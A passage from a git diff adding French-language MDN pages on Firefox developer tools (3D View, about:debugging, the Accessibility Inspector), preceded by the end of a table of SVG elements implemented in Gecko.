  • Non implémenté.
    • -
-
feMerge -
    -
  • Implémenté.
    • -
-
feMergeNode -
    -
  • Implémenté.
    • -
-
feMorphology -
    -
  • Implémenté.
    • -
-
feOffset -
    -
  • Implémenté.
    • -
-
feSpecularLighting -
    -
  • Implémenté.
    • -
-
feTile -
    -
  • Implémenté.
    • -
-
feTurbulence -
    -
  • Implémenté.
    • -
-
feDistantLight -
    -
  • Implémenté.
    • -
-
fePointLight -
    -
  • Implémenté.
    • -
-
feSpotLight -
    -
  • Implémenté.
    • -
-
feFuncR -
    -
  • Implémenté.
    • -
-
feFuncG -
    -
  • Implémenté.
    • -
-
feFuncB -
    -
  • Implémenté.
    • -
-
feFuncA -
    -
  • Implémenté.
    • -
-
Cursor Module
cursor -
    -
  • Non implémenté ({{Bug(177193)}}).
    • -
-
Hyperlinking Module
a -
    -
  • Implémenté comme une liaison XBL - l'objet n'est pas du type SVGAElement.
    • -
  • Seuls les attributs xlink:href et xlink:show sont implémentés.
    • -
  • Pour l'attribut target, voir le {{ Bug(300868) }}
    • -
-
View Module
view -
    -
  • Implémenté dans Gecko 15.0 ({{Bug(512525)}}). {{gecko_minversion_inline("15.0")}}.
    • -
-
Scripting Module
script -
    -
  • Implémenté.
    • -
-
Animation Module
animate -
    -
  • Implémenté.
    • -
-
set -
    -
  • Implémenté.
    • -
-
animateMotion -
    -
  • Implémenté.
    • -
-
animateTransform -
    -
  • Implémenté.
    • -
-
animateColor -
    -
  • Non implémenté ({{Bug(436296)}}).
    • -
-
mpath -
    -
  • Implémenté.
    • -
-
Font Module
font -
    -
  • Non implémenté ({{Bug(119490)}}).
    • -
-
font-face -
    -
  • Non implémenté.
    • -
-
glyph -
    -
  • Non implémenté.
    • -
-
missing-glyph -
    -
  • Non implémenté.
    • -
-
hkern -
    -
  • Non implémenté.
    • -
-
vkern -
    -
  • Non implémenté.
    • -
-
font-face-src -
    -
  • Non implémenté.
    • -
-
font-face-uri -
    -
  • Non implémenté.
    • -
-
font-face-format -
    -
  • Non implémenté.
    • -
-
font-face-name -
    -
  • Non implémenté.
    • -
-
definition-src -
    -
  • Non implémenté.
    • -
-
Extensibility Module
foreignObject -
    -
  • Implémenté.
    • -
-
- -

 

diff --git a/files/fr/tools/3d_view/index.html b/files/fr/tools/3d_view/index.html new file mode 100644 index 0000000000..f750324939 --- /dev/null +++ b/files/fr/tools/3d_view/index.html @@ -0,0 +1,101 @@ +--- +title: Vue 3D +slug: Outils/Vue_3D +tags: + - HTML + - Tools +translation_of: Tools/3D_View +--- +
{{ToolsSidebar}}
+ +
+

Depuis Firefox 47, la Vue 3D n'est plus disponible.

+
+ +

Lorsque vous cliquez sur le bouton Vue 3D, la page passe en mode Vue 3D ; dans ce mode, vous pouvez voir votre page présentée dans une vue 3D dans laquelle les blocs imbriqués de HTML sont de plus en plus " hauts ", se projetant vers l'extérieur depuis le bas de la page. Cette vue facilite la visualisation de l'imbrication de votre contenu.

+ +

+ +

En cliquant et en glissant sur la vue, vous pouvez faire tourner et réorienter la présentation 3D de la hiérarchie de DOM de votre page pour le voir d'angles différents, mieux examiner sa structure. Hors de l'image, les éléments deviennent visibles pour que vous puissiez voir où vos éléments sont placés par rapport au contenu visible. Vous pouvez cliquer sur des éléments pour voir leur code HTML dans l'inspecteur HTML ou l'inspecteur de Style. Au contraire, vous pouvez cliquer sur des éléments dans l'inspecteur pour changer quel élément est choisi dans la vue 3D.

+ +

Si vous ne voyez pas le bouton 3D dans l'inspecteur de page, il est possible que votre navigateur graphique doive être mis à jour.

+ +

Contrôle de la vue 3D

+ +

Il y a des raccourcis claviers et des touches avec la souris pour contrôler la vue 3D.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionClavierSouris
Zoom plus/moins+ / -Mollette vers le haut/bas
Rotation gauche/droitea / dFaire glisser vers la gauche/droite
Rotation haut/basw / sFaire glisser versle haut/bas
Se déplacer vers la gauche/droite← / →Souris à gauche/droite
Se déplacer vers le haut/bas↑ / ↓Souris en haut/bas
Remettre le zoom par défaut0Remet le taux d'agrandissement par défaut
Mettre le bloc sélectionné visiblefRend le bloc sélectionné visible {{ fx_minversion_inline("13.0") }}
Remettre la vue par défautrRemet le zoom, la rotation et le déplacement par défaut{{ fx_minversion_inline("12.0") }}
Masquer le blocxRend le bloc invisible, ce qui est pratique lorsqu'un bloc en dessous est caché. {{ fx_minversion_inline("12.0") }}
+ +

Causes de l'utilisation de la Vue 3D

+ +

Il y a différentes façons la vue 3D est utile :

+ +
    +
  • Si vous avez modifié le HTML causant des problèmes de disposition, en regardant avec la vue 3D peut vous aidez à trouver où vous vous êtes trompés. Souvent, les problèmes de disposition sont causés dans l'emboîtement incorrect de contenu. Ceci peut devenir beaucoup plus évident en utilisant la vue 3D et voyant où vos éléments sont mal emboîtés.
    • +
  • Si le contenu ne s'affiche pas, vous pouvez comprendre pourquoi; puisque la vue 3D vous laisse faire un zoom arrière pour voir les éléments qui rendent à l'extérieur de la zone visible de la page, vous pouvez trouver le contenu perdu cette façon.
    • +
  • Vous pouvez obtenir un regard pour savoir comment votre page est structurée, pour voir s'il peut y avoir des façons d'optimiser votre disposition.
    • +
  • Et, bien sûr, parce que c'est stupéfiant.
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html b/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html new file mode 100644 index 0000000000..0aef8b6d19 --- /dev/null +++ b/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html @@ -0,0 +1,211 @@ +--- +title: 'about:debugging (before Firefox 68)' +slug: 'Outils/about:debugging/about:debugging_before_Firefox_68' +translation_of: 'Tools/about:debugging/about:debugging_before_Firefox_68' +--- +
{{ToolsSidebar}}
+ +

La page about:debugging vous fournit une place ou vous pouvez attacher les outils de développeurs de Firefox a un nombre de debugging targets. En ce moment, il soutien trois sortes principales de target: restartless add-ons, tabs, et workers.

+ +

Ouvrir la page about:debugging

+ +

Ils y a plusieurs façons d’ouvrir la page about:debugging:

+ +
    +
  • Cliquez "about:debugging" dans la barre URL de Firefox.
    • +
  • Dans Tools > Web Developer menu, cliquez sur "Service Workers".
    • +
  • Sélectionnez Web Developer menu sous menu Hamburger (), puis sélectionnez "Service Workers".
    • +
+ +

Quand about:debugging ouvre, a votre gauche, vous allez voir une barre latérale permettant de basculer entre les deux vues principales: une pour add-ons et une pour workers.

+ +

Que system add-ons apparaisse ou non dans la liste sur cette page dépends sur les configurations de préférences de devtools.aboutdebugging.showSystemAddons. Si vous devez voir system add-ons, naviguez ver about:config et assurez-vous que la valeur est réglée sur true.

+ +

Add-ons

+ +
+

La section Add-ons dans about:debugging soutien seulement les restartless add-ons, en incluent basic bootstrapped extensions, Add-on SDK add-ons, et WebExtensions.

+
+ +

Cette page vous permet de faire deux choses :

+ +
    +
  • Charger un add-on temporairement d’un disque
    • +
  • Connectez l’Add-on Debugger a tout restartless add-ons
    • +
+ +

+ +

Connecter l’Add-on Debugger

+ +
+

NNotez qu’en ce moment, il est recommandé d’utiliser le Browser Toolbox, pas l’Add-on Debugger, pour le débogage de WebExtensions. Regardez Debugging WebExtensions pour plus de détails.

+
+ +

La page Add-ons dans about:debugging vous donnes une liste de tous les restartless add-ons qui sont actuellement installés (notez que cette liste pourrait avoir des add-ons inclus qui sont venus préinstaller avec votre Firefox). À côté de chaque entrée est un bouton appeler "Debug".

+ +

Si le bouton "Debug" est désactivé, cocher la boite "Enable add-on debugging".

+ +

Si vous cliquez "Debug", vous allez voir un dialogue vous demandant d’accepter une connexion entrante. Cliquez "OK", et Add-on Debugger va commencer dans une fenêtre séparée. Notez que parfois la fenêtre débogueur est cacher par la fenêtre principale de Firefox.

+ +

{{EmbedYouTube("tGGcA3bT3VA")}}

+ +

Allez voir la page sure Add-on Debugger pour toutes les chose vous pouvez faires avec cet outil.

+ +
+

Le bouton "Enable add-on debugging" fonctionne en allumant les preferences devtools.chrome.enabled et devtools.debugger.remote-enabled. Les deux préférences doivent être true pour activer add-on debugging. Cocher la boite définit les deux préférences sur true, et décocher les définit sur false.

+ +

Vous pouvez aussi modifier les préférences directement dans about:config, ou par cocher "Enable browser chrome and add-on debugging toolboxes" et "Enable remote debugging" dans Developer Tools Settings.

+
+ +

Charger un add-on temporaire

+ +

Avec le bouton "Load Temporary Add-on" n’importe quelle sorte de restartless add-on temporairement, à partir d’un répertoire sur disque. Il suffit de cliquer le bouton, naviguer ver le répertoire contenant le fichier add-on's, et sélectionner n’importe quel fichier dans ce répertoire. L’add-on temporaire sera afficher sous l’en-tête "Temporary Extensions".

+ +

Vous n’avez pas à emballer ou à signer l’add-on. L’add-on restera installer jusqu’au redémarrage de Firefox.

+ +

{{EmbedYouTube("sAM78GU4P34")}}

+ +

Les gros avantages de cette méthode, comparer à installer un add-on d’un XPI, sons:

+ +
    +
  • Vous n’avez pas à reconstruire un XPI et le réinstaller quand vous changez le code d’add-on's
    • +
  • Vous pouvez charger un add-on sans le signer et sans le besoin de désactiver signing.
    • +
+ +

Modifier un add-on temporaire

+ +

Si vous installez l’add-on de cette façon, que-ce passe t’il quand vous modifiez les fichiers add-on’s ?

+ +

Avant Firefox 48

+ +
    +
  • Si vous modifiez des fichiers charger à la demande, comme content scripts ou popups, les modifications que vous faites sont détectés et ramassés automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.
    • +
  • Si vous modifiez des fichiers qui restent chargés tout le temps, comme background vous pouvez trouver les changements vous avez faites par désactiver et réactiver l’add-on dans la page about:addons.
    • +
  • Si vous modifiez des fichiers qui sont analyses qu’à l’installation, comme le fichier  manifest.json, vous allez devoir recommencer Firefox, et puis charger l’add-on encore.
    • +
+ +
+

Notez qu’avant Firefox 48, charger l’add-on encore par appuyant "Load Temporary Add-on" sans recommencer Firefox ne fonctionne pas.

+
+ +

A partir de Firefox 48

+ +
    +
+ +

De Firefox 48 et plus tard:

+ +
    +
  • Comme avant: Si vous modifiez des fichiers charger à la demande, content scripts ou popups, les modifications sont détectées et ramassées automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.
    • +
  • Il y a une meilleure façon de gérer les autres cas: cliquez le bouton "Reload" à côté du bouton "Debug". Cela fait ce qu’il dit: + +
    • +
+ +
+

Notez que dans Firefox 49 et plus tard, le bouton Reload est seulement activer pour les add-ons temporaire. Il va être désactiver pour tout autre add-ons.

+
+ +

Tabs

+ +

Dans Firefox 49 et plus tard, une page Tabs est disponible dans about:debugging — cela vous donne une liste complète de tous les onglets débogables ouverts dans l’instance courent Firefox.

+ +

+ +

Chaque entrée tab à un bouton Debug à-côté — quand cliquer, ceci va ouvrir un toolbox spécifique à l’onglet, vous permettant de déboguer les contenus de cet onglet.

+ +

+ +
+

Notez que cette fonctionnalité n’est pas immédiatement utile pour le débogage des onglets desktop— vous pouvez ouvrir le toolbox pour déboguer un onglet déjà assez facilement— mais cela va devenir beaucoup plus utile quand about:debugging commence le support pour remote debugging, et cette page peut commencer à lister les onglets disponibles pour le débogage sur navigateurs mobiles, des simulateurs, etc. allez voir {{bug(1212802)}} pour les nouvelles sur ce domaine.

+
+ +

Workers

+ +

La page Workers vous montre vos workers, categoriser come suit:

+ + + +

Vous pouvez connectez les outils de développeurs à chaque worker, et envoyer des notifications push au service workers.

+ +

+ +

État de service worker

+ +

A partir de Firefox 52, la liste de service workers vous montre l’état du service worker dans son lifecycle. Trois états sont distingués:

+ +
    +
  • "Registering": ceci couvre tous les états entre l’enregistrement initiale du service worker, et son contrôle des pages. C’est-à-dire, qu’il englobe les états "installing", "activating", et "waiting".
    • +
  • "Running": le service worker est actuellement en-marche. Il est installé et activer, et gère des évènements en ce moment.
    • +
  • "Stopped": le service worker est installer et activer, mais a été terminer apprêt avoir été inactif.
    • +
+ +

+ +
+

Cette section utilise une démo simple de ServiceWorker, hébergé a  https://serviceworke.rs/push-simple/.

+
+ +

Débogage de workers

+ +

Pour un service worker, s’il est déjà en-marche, vous allez voir deux boutons à-côté, étiquetés "Debug" et "Push". S’il n’est pas déjà en-marche, vous verrez un bouton, étiqueté "Start": cliquez dessus pour commencer le service worker.

+ +

Cliquer "Debug" connecte le Débogueur JavaScript et Console a ce worker. Vous pouvez définir des points d’arrêt, step through code, watch variables, evaluate code, etc:

+ +

{{EmbedYouTube("Z8ax79sHWDU")}}

+ +

Enregistrement des workers

+ +

Premièrement, vous n’allez voir aucun worker lister sous Service Workers ou Shared Workers. Aussitôt qu’un worker est enregistrer, la liste est mis-a-jour:

+ +

{{EmbedYouTube("wy4kyWFhFF4")}}

+ +
+

Avant Firefox 47, les service workers se montrais seulement quand ils étaient actuellement en marche.

+
+ +

Désinscrire les service workers

+ +
+

Nouveaux dans Firefox 48.

+
+ +

A partir de Firefox 48, vous allez voir un lien appeler "unregister" à-côté de chaque service worker enregistrees:

+ +

+ +

Cliquez le lien pour désinscrire le service worker.

+ +

Envoyer des évènements-push a des service workers

+ +
+

Envoyer des evenements-push dans about:debugging est nouveau dans Firefox 47.

+
+ +

Pour déboguer les notifications push, vous pouvez définir un point d'arrêt dans le listener push event. Pourtant, vous pouvez aussi déboguez les notifications push localement, sans le besoin d’un server. Juste cliquez sur le bouton "Push" pour envoyer un évènement push au service worker:

+ +

{{EmbedYouTube("62SkLyA-Zno")}}

+ +

Service workers pas compatibles

+ +
+

Dans Firefox 49+, un message d’avertissement va être afficher dans la section Service Workers dans la page Workers si les service workers ne sont pas compatibles avec les configurations actuelles du navigateur, et donc ne peuvent pas être utiliser ou déboguer.

+ +

+
+ +

Des Service workers peuvent être indisponible pour plusieurs raisons:

+ +
    +
  • Si vous utilisez une fenêtre Private Browsing.
    • +
  • Si vos preferences d’Historique sont mis a "Never Remember History" ou "Always use private browsing mode".
    • +
  • Si la préférence de dom.serviceWorkers.enable est réglé sur false dans about:config.
    • +
diff --git a/files/fr/tools/about_colon_debugging/index.html b/files/fr/tools/about_colon_debugging/index.html new file mode 100644 index 0000000000..eb669e756c --- /dev/null +++ b/files/fr/tools/about_colon_debugging/index.html @@ -0,0 +1,211 @@ +--- +title: 'about:debugging' +slug: 'Outils/about:debugging' +translation_of: 'Tools/about:debugging' +--- +
{{ToolsSidebar}}
+ +

The about:debugging page provides a single place from which you can attach the Firefox Developer Tools to a number of debugging targets. At the moment it supports three main sorts of targets: restartless add-ons, tabs, and workers.

+ +

Opening the about:debugging page

+ +

There are several different ways to open about:debugging:

+ +
    +
  • Type "about:debugging" in the Firefox URL bar.
    • +
  • New in Firefox 47: in the Tools > Web Developer menu, click "Service Workers".
    • +
  • New in Firefox 47: click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Service Workers".
    • +
+ +

When about:debugging opens, on the left-hand side, you'll see a sidebar enabling you to switch between the two main views: one for add-ons and one for workers.

+ +

Le fait que les modules complémentaires système apparaisent dans cette liste ou non, dépend de la préférence devtools.aboutdebugging.showSystemAddons. Pour afficher ces modules complémentaires, il est nécéssaire de la passer à true dans about:config.

+ +

Add-ons

+ +
+

The Add-ons section in about:debugging only supports restartless add-ons, including basic bootstrapped extensions, Add-on SDK add-ons, and WebExtensions.

+
+ +

This page enables you to do two things:

+ +
    +
  • Load an add-on temporarily from disk
    • +
  • Connect the Add-on Debugger to any restartless add-ons
    • +
+ +

+ +

Connecting the Add-on Debugger

+ +
+

Note that at the moment, it's recommended that you use the Browser Toolbox, not the Add-on Debugger, for debugging WebExtensions. See Debugging WebExtensions for all the details.

+
+ +

The Add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your Firefox). Next to each entry is a button labeled "Debug".

+ +

If the "Debug" button is disabled, check the "Enable add-on debugging" box.

+ +

If you click "Debug", you'll see a dialog asking you to accept an incoming connection. Click "OK", and the Add-on Debugger will start in a separate window. Note that sometimes the debugger window is hidden by the main Firefox window.

+ +

{{EmbedYouTube("tGGcA3bT3VA")}}

+ +

See the page on the Add-on Debugger for all the things you can do with this tool.

+ +
+

The "Enable add-on debugging" button works by turning on the devtools.chrome.enabled and devtools.debugger.remote-enabled preferences. Both preferences must be true to enable add-on debugging. Checking the box sets both preferences to true, and unchecking it sets them both to false.

+ +

You can also modify the preferences directly in about:config, or by checking "Enable browser chrome and add-on debugging toolboxes" and "Enable remote debugging" in the Developer Tools Settings.

+
+ +

Loading a temporary add-on

+ +

With the "Load Temporary Add-on" button you can load any sort of restartless add-on temporarily, from a directory on disk. Just click the button, navigate to the directory containing the add-on's file, and select any file in that directory. The temporary add-on will be displayed under the "Temporary Extensions" header.

+ +

You don't have to package or sign the add-on. The add-on will stay installed until you restart Firefox.

+ +

{{EmbedYouTube("sAM78GU4P34")}}

+ +

The big advantages of this method, compared with installing an add-on from an XPI, are:

+ +
    +
  • you don't have to rebuild an XPI and reinstall when you change the add-on's code
    • +
  • you can load an add-on without signing it and without needing to disable signing.
    • +
+ +

Updating a temporary add-on

+ +

If you install the add-on in this way, what happens when you update the add-on's files?

+ +

Before Firefox 48

+ +
    +
  • If you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.
    • +
  • If you change files that stay loaded the whole time, like background scripts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page.
    • +
  • If you change files that are only parsed at install time, like the manifest.json file, you'll need to restart Firefox, then load the add-on again.
    • +
+ +
+

Note that before Firefox 48, loading the add-on again by pressing "Load Temporary Add-on" without restarting Firefox does not work.

+
+ +

Firefox 48 onwards

+ +
    +
+ +

From Firefox 48 onwards:

+ +
    +
  • as before: if you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.
    • +
  • there's a better way to handle the other cases: click the "Reload" button next to the "Debug" button. This does what it says: + +
    • +
+ +
+

Note that in Firefox 49 onwards, the Reload button is only enabled for temporary add-ons. It will be disabled for all other add-ons.

+
+ +

Tabs

+ +

In Firefox 49 onwards, a Tabs page is available in about:debugging — this provides a complete list of all the debuggable tabs open in the current Firefox instance.

+ +

+ +

Each tab entry has a Debug button next to it — when clicked, this will open up a toolbox specific to that tab, allowing you to debug that tab's contents.

+ +

+ +
+

Note that this feature isn't that immediately useful to debugging desktop tabs — you can open up a toolbox to debug a tab easily enough already — but this will become far more useful when about:debugging starts to support remote debugging, and this page can begin to list tabs available for debugging on mobile device browsers, simulators, etc. See {{bug(1212802)}} for the latest on this work.

+
+ +

Workers

+ +

The Workers page shows your workers, categorised as follows:

+ + + +

You can connect the developer tools to each worker, and send push notifications to service workers.

+ +

+ +

Service worker state

+ +

From Firefox 52, the list of service workers shows the state of the service worker in its lifecycle. Three states are distinguished:

+ +
    +
  • "Registering": this covers all states between the service worker's initial registration, and its assuming control of pages. That is, it subsumes the "installing", "activating", and "waiting" states.
    • +
  • "Running": the service worker is currently running. It's installed and activated, and is currently handling events.
    • +
  • "Stopped": the service worker is installed and activated, but has been terminated after being idle.
    • +
+ +

+ +
+

This section uses a simple ServiceWorker demo, hosted at https://serviceworke.rs/push-simple/.

+
+ +

Debugging workers

+ +

For a service worker, if it is already running, you'll see two buttons next to it, labeled "Debug" and "Push". If it's not already running, you'll see one button, labeled "Start": click this to start the service worker.

+ +

Clicking "Debug" connects the JavaScript Debugger and Console to this worker. You can set breakpoints, step through code, watch variables, evaluate code, and so on:

+ +

{{EmbedYouTube("Z8ax79sHWDU")}}

+ +

Registering workers

+ +

At first, you won't see any workers listed under Service Workers or Shared Workers. As soon as a worker is registered, the listing is updated:

+ +

{{EmbedYouTube("wy4kyWFhFF4")}}

+ +
+

Before Firefox 47, service workers were only shown when they were actually running.

+
+ +

Unregistering service workers

+ +
+

New in Firefox 48.

+
+ +

Starting in Firefox 48, you'll see a link named "unregister" next to each registered service worker:

+ +

+ +

Click the link to unregister the service worker.

+ +

Sending push events to service workers

+ +
+

Sending push events in about:debugging is new in Firefox 47.

+
+ +

To debug push notifications, you can set a breakpoint in the push event listener. However, you can also debug push notifications locally, without needing the server. Just click the "Push" button to send a push event to the service worker:

+ +

{{EmbedYouTube("62SkLyA-Zno")}}

+ +

Service workers not compatible

+ +
+

In Firefox 49+, a warning message will be displayed in the Service Workers section of the Workers page if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged.

+ +

+
+ +

Service workers can be unavailable for several reasons:

+ +
    +
  • If you are using a Private Browsing window.
    • +
  • If your History preference is set to "Never Remember History" or "Always use private browsing mode".
    • +
  • If the dom.serviceWorkers.enable preference is set to false in about:config.
    • +
diff --git a/files/fr/tools/accessibility_inspector/index.html b/files/fr/tools/accessibility_inspector/index.html new file mode 100644 index 0000000000..cc493a0836 --- /dev/null +++ b/files/fr/tools/accessibility_inspector/index.html @@ -0,0 +1,182 @@ +--- +title: Inspecteur de l'accessibilité +slug: Outils/Inspecteur_accessibilite +tags: + - Accessibilité + - DevTools + - Guide + - Inspecteur Accessibilié + - Outils +translation_of: Tools/Accessibility_inspector +--- +
{{ToolsSidebar}}
+ +

L'inspecteur d'accessibilité permet d'accéder aux informations importantes exposées aux technologies d'assistance sur la page courante via l'arbre d'accessibilité. On peut ainsi de vérifier ce qui manque ou qui nécessite une attention particulière. Dans cet article, nous verrons les principales fonctionnalités de cet outil et comment les utiliser.

+ +

Un (très) bref guide sur l'accessibilité

+ +

L'accessibilité est un ensemble de pratiques visant à rendre les sites web utilisables par le plus de personnes possible. Cela consiste à éviter de rendre le site inutilisable par les personnes handicapées d'une quelconque façon et/ou utilisant un réseau à faible débit et/ou parlant une certaine langue, etc.

+ +

On évoquera souvent ici les personnes avec des handicaps visuels et la façon de rendre le contenu accessible, notamment grâce aux API d'accessibilité disponibles dans les navigateurs et qui permettent d'exposer des informations sur les rôles des différents éléments sur la page (est-ce que ce sont des textes, des boutons, des liens, des éléments de formulaires, autre chose ?).

+ +

Les éléments HTML qui existent dans le DOM ont une sémantique qui fournit une indication quant aux rôles par défaut qu'ils sont censés avoir. Toutefois, on utilise parfois des éléments avec une sémantique faible, voire neutre ({{htmlelement("div")}} et {{htmlelement("span")}}) afin de construire des contrôles complexes et pour lesquels, la sémantique HTML ne suffit pas à décrire le but de tels contrôles. Dans ces cas de figure, on pourra utiliser les attributs de rôle WAI-ARIA afin de fournir des rôles spécifiques.

+ +

Les rôles des éléments ainsi que les autres informations exposées par les API d'accessibilité sont organisés et présentés au sein d'une structure hiérarchique appelée « l'arbre d'accessibilité ». Cette structure ressemble un peu à l'arbre du DOM mais contient un nombre plus restreint d'éléments et des informations légèrement différentes à leur sujet.

+ +

Les outils d'assistance tels que les lecteurs d'écran utilisent ces informations afin de déterminer ce qui se trouve sur une page web, d'indiquer aux utilisateurs ce qui est présent et leur permettre d'interagir avec la page. L'inspecteur d'accessibilité utilise également ces informations afin de pouvoir déboguer les problèmes d'accessibilité grâce aux outils de développement.

+ +

Accéder à l'inspecteur d'accessibilité

+ +

L'inspecteur d'accessibilité est disponible par défaut à partir de Firefox 63 :

+ +

L'onglet de l'inspecteur d'accessibilité, désactivé, dans les outils de développement de Firefox et avec un bouton intitulé « Activer les fonctionnalités d'accessibilité »

+ +

Par défaut, les fonctionnalités des outils de développement dédiées à l'accessibilité sont désactivées (sauf si elles ont été activées depuis un autre onglet ou que le moteur d'accessibilité de Firefox est déjà démarré si vous utiliser un lecteur d'écran ou un outil de test). Ces fonctionnalités sont désactivées, car le moteur d'accessibilité fonctionne en arrière-plan et peut consommer des ressources et diminuer les performances qui sont des indicateurs qu'on pourrait suivre via d'autres onglets (Mémoire et Performances par exemple). De même, on peut ne pas vouloir diminuer les performances du navigateur. C'est pour ces raisons que ces fonctionnalités sont désactivées par défaut et qu'il faut les « éteindre » à moins que vous les utilisiez activement.

+ +

Vous pouvez activer ces fonctionnalités en cliquant sur le bouton « Activer les fonctionnalités d'accessibilité ».

+ +

Une fois le contenu de l'onglet chargé, vous pouvez utiliser le bouton « Désactiver les fonctionnalités d'accessibilité » situé en haut à gauche des outils afin de les désactiver à nouveau. Si vous utilisez un outil qui a besoin du moteur d'accessibilité pour fonctionner, ce bouton sera désactivé.

+ +
+

Note : Si vous utilisez les fonctionnalités d'accessibilité dans plusieurs onglets et que vous les désactiver dans un onglet, les fonctionnalités seront désactivées pour tous les onglets.

+
+ +

Fonctionnalité du panneau Accessibilité

+ +

Le panneau d'accessibilité, lorsqu'il est activé, ressemble à ceci :

+ +

Le panneau d'accessibilité des outils de développement Firefox, activé, qui montre deux panneaux d'informations ainsi qu'un bouton pour désactiver les fonctionnalités d'accessibilité.

+ +

Sur le côté gauche, on a un arbre hiérarchique qui représente l'ensemble des éléments de l'arbre d'accessibilité de la page courante. Les éléments qui possèdent des éléments fils disposent d'une flèche sur laquelle on peut cliquer afin d'afficher les éléments fils et d'accéder aux niveaux inférieurs de la hiérarchie. Chaque objet de cet arbre possède deux propriétés qui sont affichées :

+ +
    +
  • Rôle — le rôle de cet élément sur la page (ex. pushbutton ou footer). Cette valeur peut être celle d'un rôle fourni par le navigateur ou un rôle fourni via l'attribut WAI-ARIA role.
    • +
  • Nom — le nom donné à cet élément sur la page. Le nom dépend de l'élément. Ainsi, la plupart des éléments textuels auront comme nom la valeur de leur attribut textContent tandis que les contrôles de formulaires seront nommés selon l'élément {{htmlelement("label")}} associé.
    • +
+ +

Sur le côté droit, on peut voir des informations supplémentaires à propos de l'élément sélectionné à gauche. Les propriétés visibles sont :

+ +
    +
  • name — le nom de l'élément, tel qu'indiqué ci-avant.
    • +
  • role — le rôle de l'élément, tel qu'indiqué ci-avant.
    • +
  • actions — une liste d'actions qui peuvent être effectuées sur l'élément. Ainsi, un bouton poussoir (pushbutton) disposerait de l'action "Press" (pour « appuyer ») tandis qu'un lien aurait l'action "Jump" (pour « aller à »).
    • +
  • value — la valeur de l'élément. Cette propriété peut avoir un sens différent selon le type d'élément. Ainsi, un champ d'un formulaire (role: entry) aurait comme valeur celle qui est saisie dans le champ. Pour un hyperlien, la valeur associée serait l'URL indiquée dansvia l'attribut href de l'élément <a>.
    • +
  • DOMNode — le type de nœud du DOM que représente l'élément de l'arbre d'accessibilité. Vous pouvez cliquer sur l'icône de ciblage situé à la droite de la valeur afin de sélectionner le nœud dans l'inspecteur. Survoler cette icône surlignera le nœud sur la page.
    + La propriété DOMNode, située dans l'inspecteur d'accessibilité avec l'icône de ciblage qui permet de mettre en avant l'élément correspondant sur la page.
    • +
  • description — une description plus détaillée fournie par l'élément ; c'est généralement la valeur de l'attribut title.
    • +
  • help — cette propriété n'est pas implémentée par Gecko et renvoie toujours la chaîne de caractères vide. Cette propriété a été retirée de l'inspecteur dans Firefox 62 ({{bug(1467643)}}).
    • +
  • keyboardShortcut — un raccourci clavier qui permet d'activer l'élément, comme indiqué avec l'attribut accessKey. Cette propriété fonctionne correctement à partir de Firefox 62 ({{bug("1467381")}}).
    • +
  • childCount — le nombre d'éléments fils que contient l'élément courant dans la hiérarchie de l'arbre d'accessibilité.
    • +
  • indexInParent — un index qui situe l'élément courant parmi ses voisins par rapport à son élément parent. Si l'élément courant est le premier élément de son élément parent, la valeur de cet index sera 0, si c'est le deuxième élément, cet index vaudra 1, etc.
    • +
  • states — une liste des différents états, liés à l'accessibilité, qui peuvent être appliqués à l'élément courant. Ainsi, un lien pourra avoir les états focusable (recevoir le focus), linked, text selectable, opaque, enabled et sensitive. Pour connaître la liste des différents états internes, voir l'article États dans Gecko.
    • +
  • attributes — une liste de l'ensemble des attributs relatifs à l'accessibilité qui sont appliqués à l'élément. Ces attributs peuvent contenir les attributs stylistiques tels que {{cssxref("margin-left")}} et {{cssxref("text-indent")}} mais aussi des d'autres informations : est-ce que l'élément peut être déplacé à la souris, quel est son niveau de titre, etc. Pour connaître la liste des attributs possibles, voir l'article Attributs d'objet dans Gecko.
    • +
+ +
+

Note : Les informations mises à disposition sont les mêmes quelle que soit la plateforme. L'inspecteur expose l'arbre d'accessibilité de Gecko plutôt que les informations d'accessibilité de la plateforme sous-jacente.

+
+ +

Contrôles au clavier

+ +

Le panneau Accessibilité est intégralement accessible au clavier :

+ +
    +
  • Il est possible d'utiliser la touche tabulation pour passer du bouton de désactivation au panneau gauche au panneau droit.
    • +
  • Lorsqu'un des panneaux a le focus, on peut déplacer le focus entre les différents éléments qui compose ce panneau grâce aux flèches haut et bas du clavier. Les flèches droite et gauche permettent de développer ou de réduire les arborescences.
    • +
+ +

 

+ +

Afficher l'arbre accessibilité en JSON

+ +

Il est possible d'afficher l'arbre accessibilité en JSON avec un clic droit sur une ligne dans le panneau Accessibilité et en cliquant sur "Afficher JSON" :

+ +

+ +

Cela ouvrira un nouvel onglet avec la partie de l'arbre d'accessibilité chargé dans la visualisation JSON :

+ +

+ +

Une fois ouvert, il est possible de sauvegarder ou copier les données. La visualisation JSON peut également afficher le JSON "brut" dans in onglet séparé.

+ +

Fonctionnalités notables associées

+ +

Lorsque les fonctionnalités d'accessibilité sont activées, des fonctionnalités supplémentaires deviennent disponibles.

+ +

Options de menu contextuel

+ +

Une option supplémentaire devient disponible dans le menu contextuel de la page (menu accessible via clic-droit) et dans l'onglet HTML de l'inspecteur (clic-droit sur l'élément) :

+ +

Le menu contextuel dans la zone d'affichage du navigateur avec l'option « Inspecter les propriétés d'accessibilité » surlignée

+ +

Le menu contextuel de l'inspecteur du DOM avec l'option « Afficher les propriétés d'accessibilité » surlignée

+ +

Lorsque vous choisissez l'option « Inspecter les propriétés d'accessibilité » via le menu contextuel, cela ouvre automatiquement le panneau « Accessibilité » des outils de développement et affiche l'élément dans l'arbre d'accessibilité ainsi que ses propriétés.

+ +
+

